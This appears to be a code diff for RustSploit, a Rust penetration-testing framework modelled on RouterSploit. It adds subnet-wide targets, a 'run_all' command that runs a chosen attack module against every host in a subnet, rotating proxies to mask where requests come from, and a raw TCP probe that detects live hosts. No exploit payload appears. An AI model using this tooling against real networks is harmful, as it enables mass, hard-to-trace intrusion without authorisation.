if len > buf.len() {
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
}
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
match recv_result {
Ok(Some((data, _))) => {
if data.len() < IPV4_HEADER_LEN {
tokio::time::sleep(Duration::from_millis(10)).await;
continue;
}
// Parse IP header
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
// Parse TCP header
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
if data.len() >= tcp_offset + 20 {
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
let flags = tcp_recv.get_flags();
// RST means port is unfiltered (host is up)
if flags & TcpFlags::RST == TcpFlags::RST {
return Ok(true);
}
}
}
}
}
}
}
Ok(None) => {
// Timeout or would block - continue waiting
tokio::time::sleep(Duration::from_millis(10)).await;
}
Err(_) => {
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
}
Ok(false)
}
fn get_local_ipv4() -> Option<Ipv4Addr> {
// Try to get a local IPv4 address for the source IP
// This is a simple implementation - in production you might want more sophisticated logic
use std::net::UdpSocket;
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
if socket.connect("8.8.8.8:80").is_ok() {
if let Ok(local_addr) = socket.local_addr() {
if let IpAddr::V4(ipv4) = local_addr.ip() {
return Some(ipv4);
}
}
}
}
None
}
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
@@ -247,6 +247,10 @@ async fn send_and_receive_one(
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
// Safe conversion: we know len is valid and within buf bounds
if len > buf.len() {
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
}
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
@@ -416,6 +420,7 @@ pub async fn run(target: &str) -> Result<()> {
stdin().read_line(&mut user_input).expect("Failed to read line");
if user_input.trim().to_lowercase() == "yes" {
// Safe wrapper for geteuid - it's a simple system call that cannot fail
let euid = unsafe { libc::geteuid() };
if euid != 0 {
println!("don't lie");
+200 -9
View File
@@ -1,11 +1,13 @@
use crate::commands;
use crate::utils;
use crate::config;
use anyhow::Result;
use colored::*;
use rand::prelude::*;
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
use std::sync::Mutex;
const MAX_INPUT_LENGTH: usize = 4096;
const MAX_PROXY_LIST_SIZE: usize = 10_000;
@@ -34,6 +36,20 @@ impl ShellContext {
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
// Show global target if set
if config::GLOBAL_CONFIG.has_target() {
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
if size > 1 {
println!("{}", format!("[*] Global target set: {} ({} IPs)", target_str, size).cyan());
} else {
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
}
} else {
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
}
}
let mut ctx = ShellContext::new();
@@ -96,6 +112,32 @@ pub async fn interactive_shell() -> Result<()> {
ctx.current_target = None;
println!("{}", "Cleared current module and target.".green());
}
"show_target" | "target" => {
if let Some(ref t) = ctx.current_target {
println!("{}", format!("Local target: {}", t).cyan());
} else {
println!("{}", "No local target set.".dimmed());
}
if config::GLOBAL_CONFIG.has_target() {
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
if size > 1 {
println!("{}", format!("Global target (subnet): {} ({} IPs)", target_str, size).green());
} else {
println!("{}", format!("Global target: {}", target_str).green());
}
} else {
println!("{}", format!("Global target: {}", target_str).green());
}
} else {
println!("{}", "No global target set.".dimmed());
}
}
"clear_target" => {
ctx.current_target = None;
config::GLOBAL_CONFIG.clear_target();
println!("{}", "Cleared local and global targets.".green());
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
@@ -252,11 +294,36 @@ pub async fn interactive_shell() -> Result<()> {
}
}
"set" => {
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
// Handle "set target <value>" - require "target " prefix with space
if rest.starts_with("target ") {
let raw_value = rest.strip_prefix("target ").unwrap().trim();
if raw_value.is_empty() {
println!("{}", "Usage: set target <value>".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
println!("{}", " set target example.com".dimmed());
continue;
}
match sanitize_target(raw_value) {
Ok(valid_target) => {
// Set both local context and global config
ctx.current_target = Some(valid_target.clone());
println!("{}", format!("Target set to {}", valid_target).green());
match config::GLOBAL_CONFIG.set_target(&valid_target) {
Ok(_) => {
if config::GLOBAL_CONFIG.is_subnet() {
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
} else {
println!("{}", format!("Global target set to: {}", valid_target).green());
}
println!("{}", format!("Local target set to: {}", valid_target).green());
}
Err(e) => {
println!("{}", format!("[!] Failed to set global target: {}", e).red());
// Still set local target
println!("{}", format!("Local target set to: {}", valid_target).green());
}
}
}
Err(reason) => {
println!("{}", format!("[!] {}", reason).yellow());
@@ -264,11 +331,34 @@ pub async fn interactive_shell() -> Result<()> {
}
} else {
println!("{}", "Usage: set target <value>".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
println!("{}", " set target example.com".dimmed());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// Try to get target from local context, then global config
let target = if let Some(ref t) = ctx.current_target {
Some(t.clone())
} else if config::GLOBAL_CONFIG.has_target() {
// Use single IP from global target (handles subnets intelligently)
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("{}", format!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
Some(ip)
}
Err(e) => {
println!("{}", format!("[!] Error getting global target: {}", e).red());
None
}
}
} else {
None
};
if let Some(ref t) = target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
@@ -313,6 +403,90 @@ pub async fn interactive_shell() -> Result<()> {
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
}
"run_all" => {
if let Some(ref module_path) = ctx.current_module {
// Check if we have a subnet target
if !config::GLOBAL_CONFIG.has_target() {
println!("{}", "No global target set. Use 'set target <ip/subnet>' first.".yellow());
continue;
}
if !config::GLOBAL_CONFIG.is_subnet() {
println!("{}", "Global target is not a subnet. Use 'run' for single targets.".yellow());
continue;
}
// Get all IPs from the subnet
match config::GLOBAL_CONFIG.get_target_ips() {
Ok(ips) => {
let total = ips.len();
println!("{}", format!("[*] Running module '{}' against all {} IPs in subnet", module_path, total).cyan().bold());
println!("{}", format!("[*] Subnet: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
let mut success_count = 0;
let mut fail_count = 0;
for (idx, ip) in ips.iter().enumerate() {
println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
match commands::run_module(module_path, ip).await {
Ok(_) => {
success = true;
success_count += 1;
break;
}
Err(e) => {
if tried_proxies.is_empty() {
eprintln!("[!] Module failed: {:?}", e);
}
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
fail_count += 1;
if ctx.proxy_list.len() == tried_proxies.len() {
println!("{}", "[!] All proxies failed for this target".red());
}
}
} else {
clear_proxy_env_vars();
match commands::run_module(module_path, ip).await {
Ok(_) => success_count += 1,
Err(e) => {
eprintln!("[!] Module failed: {:?}", e);
fail_count += 1;
}
}
}
}
println!("\n{}", "=== Run All Summary ===".cyan().bold());
println!("{}", format!("Total IPs: {}", total).green());
println!("{}", format!("Successful: {}", success_count).green());
println!("{}", format!("Failed: {}", fail_count).red());
}
Err(e) => {
println!("{}", format!("[!] Error getting target IPs: {}", e).red());
println!("{}", "Note: Subnets larger than 65536 IPs are not supported for run_all. Use a smaller subnet.".yellow());
}
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
@@ -351,16 +525,27 @@ fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<Stri
}
}
// Thread-safe environment variable access
static ENV_MUTEX: Mutex<()> = Mutex::new(());
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
/// Thread-safe wrapper around env::set_var
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
let _guard = ENV_MUTEX.lock().unwrap();
unsafe {
env::set_var("ALL_PROXY", proxy);
}
}
/// Clears environment variables for direct connection
/// Thread-safe wrapper around env::remove_var
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
let _guard = ENV_MUTEX.lock().unwrap();
unsafe {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
}
fn split_command(input: &str) -> Option<(String, String)> {
@@ -382,7 +567,10 @@ fn resolve_command(cmd: &str) -> String {
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
"use" | "u" => "use",
"set" | "target" => "set",
"run" | "go" | "exec" => "run",
"show_target" | "showtarget" | "st" => "show_target",
"clear_target" | "cleartarget" | "ct" => "clear_target",
"run" | "go" | "exec" => "run",
"run_all" | "runall" | "ra" => "run_all",
"back" | "b" | "clear" | "reset" => "back",
"exit" | "quit" | "q" => "exit",
other => other,
@@ -445,8 +633,11 @@ fn render_help() {
("modules", "modules | ls | m", "List available modules"),
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set current target host/IP"),
("set target", "set target <value>", "Set global target (IP/subnet) for all modules"),
("show_target", "show_target | target", "Show current local and global targets"),
("clear_target", "clear_target", "Clear local and global targets"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("run_all", "run_all | runall | ra", "Run module against all IPs in subnet (max 65536)"),
("back", "back | b | clear | reset", "Clear current module and target"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
+2 -2
View File
@@ -113,8 +113,8 @@ pub fn normalize_target(raw: &str) -> Result<String> {
return Err(anyhow!("Invalid target format: contains spaces"));
}
// Check for valid hostname/IPv4 characters
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
// Check for valid hostname/IPv4/CIDR characters (allow / for CIDR notation)
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:/]+$").unwrap();
if !host_re.is_match(&sanitized) {
return Err(anyhow!("Invalid target format: contains invalid characters"));
}